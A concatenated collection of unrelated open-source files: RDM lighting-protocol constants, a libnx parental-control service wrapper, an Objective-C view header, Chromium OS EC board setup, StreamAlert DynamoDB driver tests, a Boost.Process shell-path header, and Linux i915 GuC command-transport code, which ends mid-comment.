// RDM response types - E1.20 Table A-2
#define RESPONSE_TYPE_ACK 0x00
#define RESPONSE_TYPE_ACK_TIMER 0x01
#define RESPONSE_TYPE_NACK_REASON 0x02
#define RESPONSE_TYPE_ACK_OVERFLOW 0x03
// RDM PIDs - E1.20 Table A-3
#define PID_DISC_UNIQUE_BRANCH 0x0001
#define PID_DISC_MUTE 0x0002
#define PID_DISC_UN_MUTE 0x0003
// network management
#define PID_PROXIED_DEVICES 0x0010
#define PID_PROXIED_DEVICE_COUNT 0x0011
#define PID_COMMS_STATUS 0x0015
// status collection
#define PID_QUEUED_MESSAGE 0x0020
#define PID_STATUS_MESSAGES 0x0030
#define PID_STATUS_ID_DESCRIPTION 0x0031
#define PID_CLEAR_STATUS_ID 0x0032
#define PID_SUB_DEVICE_STATUS_REPORT_THRESHOLD 0x0033
// RDM information
#define PID_SUPPORTED_PARAMETERS 0x0050
#define PID_PARAMETER_DESCRIPTION 0x0051
// production information
#define PID_DEVICE_INFO 0x0060
#define PID_PRODUCT_DETAIL_ID_LIST 0x0070
#define PID_DEVICE_MODEL_DESCRIPTION 0x0080
#define PID_MANUFACTURER_LABEL 0x0081
#define PID_DEVICE_LABEL 0x0082
#define PID_FACTORY_DEFAULTS 0x0090
#define PID_LANGUAGE_CAPABILITIES 0x00A0
#define PID_LANGUAGE 0x00B0
#define PID_SOFTWARE_VERSION_LABEL 0x00C0
#define PID_BOOT_SOFTWARE_VERSION_ID 0x00C1
#define PID_BOOT_SOFTWARE_VERSION_LABEL 0x00C2
// DMX512
#define PID_DMX_PERSONALITY 0x00E0
#define PID_DMX_PERSONALITY_DESCRIPTION 0x00E1
#define PID_DMX_START_ADDRESS 0x00F0
#define PID_SLOT_INFO 0x0120
#define PID_SLOT_DESCRIPTION 0x0121
#define PID_DEFAULT_SLOT_VALUE 0x0122
// sensors
#define PID_SENSOR_DEFINITION 0x0200
#define PID_SENSOR_VALUE 0x0201
#define PID_RECORD_SENSORS 0x0202
// power/lamp settings
#define PID_DEVICE_HOURS 0x0400
#define PID_LAMP_HOURS 0x0401
#define PID_LAMP_STRIKES 0x0402
#define PID_LAMP_STATE 0x0403
#define PID_LAMP_ON_MODE 0x0404
#define PID_DEVICE_POWER_CYCLES 0x0405
// display settings
#define PID_DISPLAY_INVERT 0x0500
#define PID_DISPLAY_LEVEL 0x0501
// configuration
#define PID_PAN_INVERT 0x0600
#define PID_TILT_INVERT 0x0601
#define PID_PAN_TILT_SWAP 0x0602
#define PID_REAL_TIME_CLOCK 0x0603
// control
#define PID_IDENTIFY_DEVICE 0x1000
#define PID_RESET_DEVICE 0x1001
#define PID_POWER_STATE 0x1010
#define PID_PERFORM_SELFTEST 0x1020
#define PID_SELF_TEST_DESCRIPTION 0x1021
#define PID_CAPTURE_PRESET 0x1030
#define PID_PRESET_PLAYBACK 0x1031
// E1.37-1 PIDS
// DMX512 setup
#define PID_DMX_BLOCK_ADDRESS 0x0140
#define PID_DMX_FAIL_MODE 0x0141
#define PID_DMX_STARTUP_MODE 0x0142
// Dimmer Settings
#define PID_DIMMER_INFO 0x0340
#define PID_MINIMUM_LEVEL 0x0341
#define PID_MAXIMUM_LEVEL 0x0342
#define PID_CURVE 0x0343
#define PID_CURVE_DESCRIPTION 0x0344
// Control
#define PID_OUTPUT_RESPONSE_TIME 0x0345
#define PID_OUTPUT_RESPONSE_TIME_DESCRIPTION 0x0346
#define PID_MODULATION_FREQUENCY 0x0347
#define PID_MODULATION_FREQUENCY_DESCRIPTION 0x0348
// Power/Lamp Settings
#define PID_BURN_IN 0x0440
// Configuration
#define PID_LOCK_PIN 0x0640
#define PID_LOCK_STATE 0x0641
#define PID_LOCK_STATE_DESCRIPTION 0x0642
#define PID_IDENTIFY_MODE 0x1040
#define PID_PRESET_INFO 0x1041
#define PID_PRESET_STATUS 0x1042
#define PID_PRESET_MERGEMODE 0x1043
#define PID_POWER_ON_SELF_TEST 0x1044
#define QLCPLUS_ESTA_ID 0x7FF8
#define BROADCAST_ESTA_ID 0xFFFF
#define BROADCAST_DEVICE_ID 0xFFFFFFFF
class RDMProtocol
{
public:
RDMProtocol();
/** Set a specific ESTA ID */
void setEstaID(quint16 id);
/** Set a specific device ID */
void setDeviceId(quint32 id);
/**
* Create a byte array conforming to the E1.20 standard,
* suitabile for transmission via a QLC+ plugin
*/
bool packetizeCommand(ushort command, QVariantList params, bool startCode, QByteArray &buffer);
bool parseDiscoveryReply(const QByteArray &buffer, QVariantMap &values);
bool parsePacket(const QByteArray &buffer, QVariantMap &values);
/** Convert a byte array to a string UID */
static QString byteArrayToUID(QByteArray buffer, quint16 &ESTAId, quint32 &deviceId);
/** Convenience method to get a broadcast UID as string */
static QString broadcastAddress();
/** Return a PID as a string */
static QString pidToString(quint16 pid);
private:
QByteArray UIDToByteArray(quint16 ESTAId, quint32 deviceId);
QByteArray shortToByteArray(quint16 data);
QByteArray longToByteArray(quint32 data);
quint16 byteArrayToShort(const QByteArray &buffer, int index);
quint32 byteArrayToLong(const QByteArray &buffer, int index);
quint16 calculateChecksum(bool startCode, const QByteArray &ba, int len);
QString responseToString(quint8 response);
QString categoryToString(quint16 category);
protected:
quint16 m_estaID;
quint32 m_deviceID;
/** The RDM transaction number */
quint8 m_transactionNum;
};
| 2,904 |
1,114 | #include "service_guard.h"
#include "services/pctl.h"
#include "runtime/hosversion.h"
static Service g_pctlSrv;
static Service g_pctlSession;
static Result _pctlCreateService(Service* srv_out, u32 cmd_id);
static Result _pctlCmdNoIO(u32 cmd_id);
NX_GENERATE_SERVICE_GUARD(pctl);
Result _pctlInitialize(void) {
Result rc=0;
bool sysverflag = hosversionBefore(4,0,0);
rc = smGetService(&g_pctlSrv, "pctl:a");
if (R_FAILED(rc)) rc = smGetService(&g_pctlSrv, "pctl:s");
if (R_FAILED(rc)) rc = smGetService(&g_pctlSrv, "pctl:r");
if (R_FAILED(rc)) rc = smGetService(&g_pctlSrv, "pctl");
if (R_SUCCEEDED(rc)) rc = serviceConvertToDomain(&g_pctlSrv);
if (R_SUCCEEDED(rc)) rc = _pctlCreateService(&g_pctlSession, sysverflag ? 0 : 1);
if (R_SUCCEEDED(rc) && !sysverflag) rc = _pctlCmdNoIO(1);
return rc;
}
void _pctlCleanup(void) {
serviceClose(&g_pctlSession);
serviceClose(&g_pctlSrv);
}
Service* pctlGetServiceSession(void) {
return &g_pctlSrv;
}
Service* pctlGetServiceSession_Service(void) {
return &g_pctlSession;
}
static Result _pctlCreateService(Service* srv_out, u32 cmd_id) {
u64 pid_reserved=0;
serviceAssumeDomain(&g_pctlSrv);
return serviceDispatchIn(&g_pctlSrv, cmd_id, pid_reserved,
.in_send_pid = true,
.out_num_objects = 1,
.out_objects = srv_out,
);
}
static Result _pctlCmdNoIO(u32 cmd_id) {
serviceAssumeDomain(&g_pctlSession);
return serviceDispatch(&g_pctlSession, cmd_id);
}
static Result _pctlCmdNoInOutU8(u8 *out, u32 cmd_id) {
serviceAssumeDomain(&g_pctlSession);
return serviceDispatchOut(&g_pctlSession, cmd_id, *out);
}
static Result _pctlCmdNoInOutBool(bool *out, u32 cmd_id) {
u8 tmp=0;
Result rc = _pctlCmdNoInOutU8(&tmp, cmd_id);
if (R_SUCCEEDED(rc) && out) *out = tmp & 1;
return rc;
}
Result pctlConfirmStereoVisionPermission(void) {
if (hosversionBefore(4,0,0))
return MAKERESULT(Module_Libnx, LibnxError_IncompatSysVer);
return _pctlCmdNoIO(1013);
}
Result pctlIsRestrictionEnabled(bool *flag) {
return _pctlCmdNoInOutBool(flag, 1031);
}
Result pctlResetConfirmedStereoVisionPermission(void) {
if (hosversionBefore(5,0,0))
return MAKERESULT(Module_Libnx, LibnxError_IncompatSysVer);
return _pctlCmdNoIO(1064);
}
Result pctlIsStereoVisionPermitted(bool *flag) {
if (hosversionBefore(5,0,0))
return MAKERESULT(Module_Libnx, LibnxError_IncompatSysVer);
return _pctlCmdNoInOutBool(flag, 1065);
}
| 1,122 |
313 | //
// YBLAddAreaAndExpressCompanyView.h
// YC168
//
// Created by 乔同新 on 2017/4/18.
// Copyright © 2017年 乔同新. All rights reserved.
//
#import "YBLBaseView.h"
typedef void(^AddAreaAndExpressCompanyViewSelectBlock)(NSMutableDictionary *selectDict);
@interface YBLAddAreaAndExpressCompanyView : YBLBaseView
+ (void)showAddAreaAndExpressCompanyViewFromVC:(UIViewController *)Vc selectHandle:(AddAreaAndExpressCompanyViewSelectBlock)selectBlock;
@end
| 162 |
627 | /* Copyright 2020 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
/* Honeybuns family-specific configuration */
#include "console.h"
#include "gpio.h"
#include "hooks.h"
#include "i2c.h"
#include "timer.h"
#define CPRINTS(format, args...) cprints(CC_SYSTEM, format, ## args)
#define CPRINTF(format, args...) cprintf(CC_SYSTEM, format, ## args)
/******************************************************************************/
__overridable const struct power_seq board_power_seq[] = { };
__overridable const size_t board_power_seq_count =
ARRAY_SIZE(board_power_seq);
static void board_power_sequence(void)
{
int i;
for(i = 0; i < board_power_seq_count; i++) {
gpio_set_level(board_power_seq[i].signal,
board_power_seq[i].level);
msleep(board_power_seq[i].delay_ms);
}
}
/******************************************************************************/
/* I2C port map configuration */
const struct i2c_port_t i2c_ports[] = {
{"usbc", I2C_PORT_USBC, 400, GPIO_EC_I2C1_SCL, GPIO_EC_I2C1_SDA},
{"usb_mst", I2C_PORT_MST, 400, GPIO_EC_I2C2_SCL, GPIO_EC_I2C2_SDA},
{"eeprom", I2C_PORT_EEPROM, 400, GPIO_EC_I2C3_SCL, GPIO_EC_I2C3_SDA},
};
const unsigned int i2c_ports_used = ARRAY_SIZE(i2c_ports);
static void baseboard_init(void)
{
/* Turn on power rails */
board_power_sequence();
CPRINTS("board: Power rails enabled");
}
DECLARE_HOOK(HOOK_INIT, baseboard_init, HOOK_PRIO_DEFAULT);
| 577 |
2,770 | <reponame>cninja1/streamalert
"""
Copyright 2017-present Airbnb, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from datetime import datetime
from mock import patch
from botocore.exceptions import ReadTimeoutError
from moto import mock_dynamodb2
from nose.tools import assert_equal, assert_false, assert_raises, assert_true
from streamalert.shared.config import load_config
from streamalert.shared.lookup_tables.drivers_factory import construct_persistence_driver
from streamalert.shared.lookup_tables.errors import LookupTablesInitializationError
from tests.unit.helpers.aws_mocks import put_mock_dynamod_data
class TestDynamoDBDriver:
"""
Tests the S3Driver
This was largely ported over from test_lookup_tables.py from the old implementation.
"""
# pylint: disable=protected-access,attribute-defined-outside-init,no-self-use
def setup(self):
"""LookupTables - Setup S3 bucket mocking"""
self.config = load_config('tests/unit/conf')
self._dynamodb_mock = mock_dynamodb2()
self._dynamodb_mock.start()
self._driver = construct_persistence_driver(
self.config['lookup_tables']['tables']['dinosaur']
)
self._bad_driver = construct_persistence_driver(
{
'driver': 'dynamodb',
'table': 'table???',
'partition_key': '??',
'value_key': '?zlaerf',
}
)
self._put_mock_tables()
def _put_mock_tables(self):
# Build a new dynamodb schema matching the tables configured
put_mock_dynamod_data(
'table_name',
{
'AttributeDefinitions': [
{
'AttributeName': 'MyPartitionKey',
'AttributeType': 'S'
},
{
'AttributeName': 'MySortKey',
'AttributeType': 'S'
}
],
'KeySchema': [
{
'AttributeName': 'MyPartitionKey',
'KeyType': 'HASH'
},
{
'AttributeName': 'MySortKey',
'KeyType': 'RANGE'
}
]
},
[
{
'MyPartitionKey': 'aaaa',
'MySortKey': '1',
'MyValueKey': 'could_this_be_a_foo?',
},
{
'MyPartitionKey': 'aaaa',
'MySortKey': '2',
'MyValueKey': 'or_is_this_just_fantasy?',
},
{
'MyPartitionKey': 'aaaa',
'MySortKey': '3',
'MyValueKey': 'no_couldnt_be',
},
{
'MyPartitionKey': 'bbbb',
'MySortKey': '1',
'MyValueKey': 'beeffedfeedbeefdeaddeafbeddab',
}
]
)
def teardown(self):
self._dynamodb_mock.stop()
@patch('logging.Logger.info')
def test_initialize(self, mock_logger):
"""LookupTables - Drivers - DynamoDB Driver - Init"""
self._driver.initialize()
mock_logger.assert_any_call(
'LookupTable (%s): Running initialization routine',
'dynamodb:table_name'
)
def test_get(self):
"""LookupTables - Drivers - DynamoDB Driver - Get Key"""
self._driver.initialize()
assert_equal(self._driver.get('aaaa:1'), 'could_this_be_a_foo?')
def test_get_2(self):
"""LookupTables - Drivers - DynamoDB Driver - Get Key #2"""
self._driver.initialize()
assert_equal(self._driver.get('aaaa:2'), 'or_is_this_just_fantasy?')
def test_non_existent_key(self):
"""LookupTables - Drivers - DynamoDB Driver - Get - Non-existent Key with default"""
self._driver.initialize()
assert_equal(self._driver.get('key_????:2', 'default?'), 'default?')
def test_non_existent_table_key(self):
"""LookupTables - Drivers - DynamoDB Driver - Get - Non-existent Table"""
assert_raises(
LookupTablesInitializationError,
self._bad_driver.initialize
)
@patch('boto3.resource')
@patch('logging.Logger.error')
def test_botocore_read_timeout(self, mock_logger, boto_resource_fn_mock):
"""LookupTables - Drivers - DynamoDB Driver - Get - ReadTimeoutError"""
boto_resource_fn_mock.return_value.Table.return_value.get_item.side_effect = \
ReadTimeoutError(
'TestPool', 'Test Read timed out.', endpoint_url='test/url'
)
self._driver.initialize()
assert_raises(LookupTablesInitializationError, self._driver.get, 'bbbb:1')
mock_logger.assert_any_call(
'LookupTable (%s): Reading from DynamoDB timed out',
'dynamodb:table_name'
)
@patch('logging.Logger.info')
def test_refresh_on_first_read(self, mock_logger):
"""LookupTables - Drivers - DynamoDB Driver - Refresh - On First Read"""
self._driver.initialize()
assert_false(self._driver._cache.has('bbbb:1'))
assert_equal(self._driver.get('bbbb:1', '?'), 'beeffedfeedbeefdeaddeafbeddab')
mock_logger.assert_called_with(
'LookupTable (%s): Key %s needs refresh, starting now.',
'dynamodb:table_name',
'bbbb:1'
)
assert_true(self._driver._cache.has('bbbb:1'))
@patch('logging.Logger.debug')
def test_barely_does_not_need_refresh(self, mock_logger):
"""LookupTables - Drivers - DynamoDB Driver - Refresh - Barely Does not need refresh"""
self._driver.initialize()
# Mess up some of the data so we fake that it's "stale"
self._driver._cache._clock.time_machine(datetime(year=3000, month=1, day=1))
self._driver._cache.set('bbbb:1', 'stale', 3) # 3-minute ttl
# Wind the "clock" forward JUST before it needs a refresh
self._driver._cache._clock.time_machine(
datetime(year=3000, month=1, day=1, minute=2, second=59)
)
assert_equal(self._driver.get('bbbb:1'), 'stale')
mock_logger.assert_any_call(
'LookupTable (%s): Key %s does not need refresh. TTL: %s',
'dynamodb:table_name', 'bbbb:1', datetime(year=3000, month=1, day=1, minute=3)
)
@patch('logging.Logger.info')
def test_needs_refresh(self, mock_logger):
"""LookupTables - Drivers - DynamoDB Driver - Refresh - Does need refresh"""
self._driver.initialize()
# Mess up some of the data so we fake that it's "stale"
self._driver._cache._clock.time_machine(datetime(year=3000, month=1, day=1))
self._driver._cache.set('bbbb:1', 'stale', 3) # 3-minute ttl
# Wind the "clock" forward JUST AFTER it needs a refresh
self._driver._cache._clock.time_machine(
datetime(year=3000, month=1, day=1, minute=3, second=1)
)
assert_equal(self._driver.get('bbbb:1'), 'beeffedfeedbeefdeaddeafbeddab')
mock_logger.assert_called_with(
'LookupTable (%s): Key %s needs refresh, starting now.',
'dynamodb:table_name',
'bbbb:1'
)
def test_set_commit_get(self, ):
"""LookupTables - Drivers - DynamoDB Driver - Set/Commmit - Can be refetched"""
self._driver.initialize()
self._driver.set('asdfasdf:1', 'A whole new world')
self._driver.commit()
assert_equal(self._driver.get('asdfasdf:1'), 'A whole new world')
def test_invalid_key(self, ):
"""LookupTables - Drivers - DynamoDB Driver - Get - Invalid key raises"""
self._driver.initialize()
assert_raises(LookupTablesInitializationError, self._driver.get, 'invalid-key')
# pylint: disable=protected-access,attribute-defined-outside-init,no-self-use,invalid-name
class TestDynamoDBDriver_MultiTable:
"""
Tests the DynamoDB Driver, but it tests with a variety of drivers built over the same table,
different columns.
"""
def setup(self):
"""LookupTables - Setup S3 bucket mocking"""
self.config = load_config('tests/unit/conf')
self._dynamodb_mock = mock_dynamodb2()
self._dynamodb_mock.start()
self._int_driver = construct_persistence_driver(
self.config['lookup_tables']['tables']['dinosaur_multi_int']
)
self._string_driver = construct_persistence_driver(
self.config['lookup_tables']['tables']['dinosaur_multi_string']
)
self._dict_driver = construct_persistence_driver(
self.config['lookup_tables']['tables']['dinosaur_multi_dict']
)
self._put_mock_tables()
def _put_mock_tables(self):
# Build a new dynamodb schema matching the tables configured
put_mock_dynamod_data(
'multi_table',
{
'AttributeDefinitions': [
{
'AttributeName': 'Pkey',
'AttributeType': 'S'
}
],
'KeySchema': [
{
'AttributeName': 'Pkey',
'KeyType': 'HASH'
}
],
},
[
{
'Pkey': '<KEY>',
'IntegerField': 123,
'StringField': 'hello world!',
'DictField': {
'message': {
'depth': 'Will this work?'
}
}
}
]
)
def teardown(self):
self._dynamodb_mock.stop()
def test_get_int(self):
"""LookupTables - Drivers - DynamoDB Multi Driver - Integer - Get Key"""
self._int_driver.initialize()
assert_equal(self._int_driver.get('aaaa-bbbb-cccc'), 123)
def test_get_string(self):
"""LookupTables - Drivers - DynamoDB Multi Driver - String - Get Key"""
self._string_driver.initialize()
assert_equal(self._string_driver.get('aaaa-bbbb-cccc'), 'hello world!')
def test_get_dict(self):
"""LookupTables - Drivers - DynamoDB Multi Driver - Dict - Get Key"""
self._dict_driver.initialize()
data = self._dict_driver.get('aaaa-bbbb-cccc')
assert_equal(data['message']['depth'], 'Will this work?')
| 5,382 |
1,102 | <reponame>johny-c/ViZDoom
// Copyright (c) 2006, 2007 <NAME>
// Copyright (c) 2008 <NAME>, <NAME>
// Copyright (c) 2009 <NAME>
// Copyright (c) 2010 <NAME>, <NAME>
// Copyright (c) 2011, 2012 <NAME>, <NAME>
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
/**
* \file boost/process/shell_path.hpp
*
* Defines a function to return the absolute path to a shell executable.
*/
#ifndef BOOST_PROCESS_SHELL_PATH_HPP
#define BOOST_PROCESS_SHELL_PATH_HPP
#include <boost/process/config.hpp>
#include BOOST_PROCESS_PLATFORM_PROMOTE_PATH(shell_path)
BOOST_PROCESS_PLATFORM_PROMOTE_NAMESPACE(shell_path)
#if defined(BOOST_PROCESS_DOXYGEN)
namespace boost { namespace process {
/**
* Returns the absolute path to a shell executable.
*
* \returns the path to cmd.exe on Windows and /bin/sh on POSIX.
*
* \throws boost::system::system_error in case of an error
*/
boost::filesystem::path shell_path();
/**
* Returns the absolute path to a shell executable.
*
* \returns the path to cmd.exe on Windows and /bin/sh on POSIX.
*/
boost::filesystem::path shell_path(boost::system::error_code &ec);
}}
#endif
#endif
| 439 |
432 | <filename>linux-4.14.90-dev/linux-4.14.90/drivers/gpu/drm/i915/intel_guc_ct.c
/*
* Copyright © 2016-2017 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include "i915_drv.h"
#include "intel_guc_ct.h"
enum { CTB_SEND = 0, CTB_RECV = 1 };
enum { CTB_OWNER_HOST = 0 };
void intel_guc_ct_init_early(struct intel_guc_ct *ct)
{
/* we're using static channel owners */
ct->host_channel.owner = CTB_OWNER_HOST;
}
static inline const char *guc_ct_buffer_type_to_str(u32 type)
{
switch (type) {
case INTEL_GUC_CT_BUFFER_TYPE_SEND:
return "SEND";
case INTEL_GUC_CT_BUFFER_TYPE_RECV:
return "RECV";
default:
return "<invalid>";
}
}
static void guc_ct_buffer_desc_init(struct guc_ct_buffer_desc *desc,
u32 cmds_addr, u32 size, u32 owner)
{
DRM_DEBUG_DRIVER("CT: desc %p init addr=%#x size=%u owner=%u\n",
desc, cmds_addr, size, owner);
memset(desc, 0, sizeof(*desc));
desc->addr = cmds_addr;
desc->size = size;
desc->owner = owner;
}
static void guc_ct_buffer_desc_reset(struct guc_ct_buffer_desc *desc)
{
DRM_DEBUG_DRIVER("CT: desc %p reset head=%u tail=%u\n",
desc, desc->head, desc->tail);
desc->head = 0;
desc->tail = 0;
desc->is_in_error = 0;
}
static int guc_action_register_ct_buffer(struct intel_guc *guc,
u32 desc_addr,
u32 type)
{
u32 action[] = {
INTEL_GUC_ACTION_REGISTER_COMMAND_TRANSPORT_BUFFER,
desc_addr,
sizeof(struct guc_ct_buffer_desc),
type
};
int err;
/* Can't use generic send(), CT registration must go over MMIO */
err = intel_guc_send_mmio(guc, action, ARRAY_SIZE(action));
if (err)
DRM_ERROR("CT: register %s buffer failed; err=%d\n",
guc_ct_buffer_type_to_str(type), err);
return err;
}
static int guc_action_deregister_ct_buffer(struct intel_guc *guc,
u32 owner,
u32 type)
{
u32 action[] = {
INTEL_GUC_ACTION_DEREGISTER_COMMAND_TRANSPORT_BUFFER,
owner,
type
};
int err;
/* Can't use generic send(), CT deregistration must go over MMIO */
err = intel_guc_send_mmio(guc, action, ARRAY_SIZE(action));
if (err)
DRM_ERROR("CT: deregister %s buffer failed; owner=%d err=%d\n",
guc_ct_buffer_type_to_str(type), owner, err);
return err;
}
static bool ctch_is_open(struct intel_guc_ct_channel *ctch)
{
return ctch->vma != NULL;
}
static int ctch_init(struct intel_guc *guc,
struct intel_guc_ct_channel *ctch)
{
struct i915_vma *vma;
void *blob;
int err;
int i;
GEM_BUG_ON(ctch->vma);
/* We allocate 1 page to hold both descriptors and both buffers.
* ___________.....................
* |desc (SEND)| :
* |___________| PAGE/4
* :___________....................:
* |desc (RECV)| :
* |___________| PAGE/4
* :_______________________________:
* |cmds (SEND) |
* | PAGE/4
* |_______________________________|
* |cmds (RECV) |
* | PAGE/4
* |_______________________________|
*
* Each message can use a maximum of 32 dwords and we don't expect to
* have more than 1 in flight at any time, so we have enough space.
* Some logic further ahead will rely on the fact that there is only 1
* page and that it is always mapped, so if the size is changed the
* other code will need updating as well.
*/
/* allocate vma */
vma = intel_guc_allocate_vma(guc, PAGE_SIZE);
if (IS_ERR(vma)) {
err = PTR_ERR(vma);
goto err_out;
}
ctch->vma = vma;
/* map first page */
blob = i915_gem_object_pin_map(vma->obj, I915_MAP_WB);
if (IS_ERR(blob)) {
err = PTR_ERR(blob);
goto err_vma;
}
DRM_DEBUG_DRIVER("CT: vma base=%#x\n", guc_ggtt_offset(ctch->vma));
/* store pointers to desc and cmds */
for (i = 0; i < ARRAY_SIZE(ctch->ctbs); i++) {
GEM_BUG_ON((i != CTB_SEND) && (i != CTB_RECV));
ctch->ctbs[i].desc = blob + PAGE_SIZE/4 * i;
ctch->ctbs[i].cmds = blob + PAGE_SIZE/4 * i + PAGE_SIZE/2;
}
return 0;
err_vma:
i915_vma_unpin_and_release(&ctch->vma);
err_out:
DRM_DEBUG_DRIVER("CT: channel %d initialization failed; err=%d\n",
ctch->owner, err);
return err;
}
static void ctch_fini(struct intel_guc *guc,
struct intel_guc_ct_channel *ctch)
{
GEM_BUG_ON(!ctch->vma);
i915_gem_object_unpin_map(ctch->vma->obj);
i915_vma_unpin_and_release(&ctch->vma);
}
static int ctch_open(struct intel_guc *guc,
struct intel_guc_ct_channel *ctch)
{
u32 base;
int err;
int i;
DRM_DEBUG_DRIVER("CT: channel %d reopen=%s\n",
ctch->owner, yesno(ctch_is_open(ctch)));
if (!ctch->vma) {
err = ctch_init(guc, ctch);
if (unlikely(err))
goto err_out;
}
/* vma should be already allocated and map'ed */
base = guc_ggtt_offset(ctch->vma);
/* (re)initialize descriptors
* cmds buffers are in the second half of the blob page
*/
for (i = 0; i < ARRAY_SIZE(ctch->ctbs); i++) {
GEM_BUG_ON((i != CTB_SEND) && (i != CTB_RECV));
guc_ct_buffer_desc_init(ctch->ctbs[i].desc,
base + PAGE_SIZE/4 * i + PAGE_SIZE/2,
PAGE_SIZE/4,
ctch->owner);
}
/* register buffers, starting wirh RECV buffer
* descriptors are in first half of the blob
*/
err = guc_action_register_ct_buffer(guc,
base + PAGE_SIZE/4 * CTB_RECV,
INTEL_GUC_CT_BUFFER_TYPE_RECV);
if (unlikely(err))
goto err_fini;
err = guc_action_register_ct_buffer(guc,
base + PAGE_SIZE/4 * CTB_SEND,
INTEL_GUC_CT_BUFFER_TYPE_SEND);
if (unlikely(err))
goto err_deregister;
return 0;
err_deregister:
guc_action_deregister_ct_buffer(guc,
ctch->owner,
INTEL_GUC_CT_BUFFER_TYPE_RECV);
err_fini:
ctch_fini(guc, ctch);
err_out:
DRM_ERROR("CT: can't open channel %d; err=%d\n", ctch->owner, err);
return err;
}
static void ctch_close(struct intel_guc *guc,
struct intel_guc_ct_channel *ctch)
{
GEM_BUG_ON(!ctch_is_open(ctch));
guc_action_deregister_ct_buffer(guc,
ctch->owner,
INTEL_GUC_CT_BUFFER_TYPE_SEND);
guc_action_deregister_ct_buffer(guc,
ctch->owner,
INTEL_GUC_CT_BUFFER_TYPE_RECV);
ctch_fini(guc, ctch);
}
static u32 ctch_get_next_fence(struct intel_guc_ct_channel *ctch)
{
/* For now it's trivial */
return ++ctch->next_fence;
}
static int ctb_write(struct intel_guc_ct_buffer *ctb,
const u32 *action,
u32 len /* in dwords */,
u32 fence)
{
struct guc_ct_buffer_desc *desc = ctb->desc;
u32 head = desc->head / 4; /* in dwords */
u32 tail = desc->tail / 4; /* in dwords */
u32 size = desc->size / 4; /* in dwords */
u32 used; /* in dwords */
u32 header;
u32 *cmds = ctb->cmds;
unsigned int i;
GEM_BUG_ON(desc->size % 4);
GEM_BUG_ON(desc->head % 4);
GEM_BUG_ON(desc->tail % 4);
GEM_BUG_ON(tail >= size);
/*
* tail == head condition indicates empty. GuC FW does not support
* using up the entire buffer to get tail == head meaning full.
*/
if (tail < head)
used = (size - head) + tail;
else
used = tail - head;
/* make sure there is a space including extra dw for the fence */
if (unlikely(used + len + 1 >= size))
return -ENOSPC;
/* Write the message. The format is the following:
* DW0: header (including action code)
* DW1: fence
* DW2+: action data
*/
header = (len << GUC_CT_MSG_LEN_SHIFT) |
(GUC_CT_MSG_WRITE_FENCE_TO_DESC) |
(action[0] << GUC_CT_MSG_ACTION_SHIFT);
cmds[tail] = header;
tail = (tail + 1) % size;
cmds[tail] = fence;
tail = (tail + 1) % size;
for (i = 1; i < len; i++) {
cmds[tail] = action[i];
tail = (tail + 1) % size;
}
/* now update desc tail (back in bytes) */
desc->tail = tail * 4;
GEM_BUG_ON(desc->tail > desc->size);
return 0;
}
/* Wait for the response from the GuC.
* @fence: response fence
* @status: placeholder for status
* return: 0 response received (status is valid)
* -ETIMEDOUT no response within hardcoded timeout
* -EPROTO no response, ct buffer was in error
*/
static int wait_for_response(struct guc_ct_buffer_desc *desc,
u32 fence,
u32 *status)
{
int err;
/*
* Fast commands should complete in less than 10us, so sample quickly
* up to that length of time, then switch to a slower sleep-wait loop.
* No GuC command should ever take longer than 10ms.
*/
#define done (READ_ONCE(desc->fence) == fence)
err = wait_for_us(done, 10);
if (err)
err = wait_for(done, 10);
#undef done
if (unlikely(err)) {
DRM_ERROR("CT: fence %u failed; reported fence=%u\n",
fence, desc->fence);
if (WARN_ON(desc->is_in_error)) {
/* Something went wrong with the messaging, try to reset
* the buffer and hope for the best
*/
guc_ct_buffer_desc_reset(desc);
err = -EPROTO;
}
}
*status = desc->status;
return err;
}
static int ctch_send(struct intel_guc *guc,
struct intel_guc_ct_channel *ctch,
const u32 *action,
u32 len,
u32 *status)
{
struct intel_guc_ct_buffer *ctb = &ctch->ctbs[CTB_SEND];
struct guc_ct_buffer_desc *desc = ctb->desc;
u32 fence;
int err;
GEM_BUG_ON(!ctch_is_open(ctch));
GEM_BUG_ON(!len);
GEM_BUG_ON(len & ~GUC_CT_MSG_LEN_MASK);
fence = ctch_get_next_fence(ctch);
err = ctb_write(ctb, action, len, fence);
if (unlikely(err))
return err;
intel_guc_notify(guc);
err = wait_for_response(desc, fence, status);
if (unlikely(err))
return err;
if (*status != INTEL_GUC_STATUS_SUCCESS)
return -EIO;
return 0;
}
/*
* Command Transport (CT) buffer based GuC send function.
*/
static int intel_guc_send_ct(struct intel_guc *guc, const u32 *action, u32 len)
{
struct intel_guc_ct_channel *ctch = &guc->ct.host_channel;
u32 status = ~0; /* undefined */
int err;
mutex_lock(&guc->send_mutex);
err = ctch_send(guc, ctch, action, len, &status);
if (unlikely(err)) {
DRM_ERROR("CT: send action %#X failed; err=%d status=%#X\n",
action[0], err, status);
}
mutex_unlock(&guc->send_mutex);
return err;
}
/**
* Enable buffer based command transport
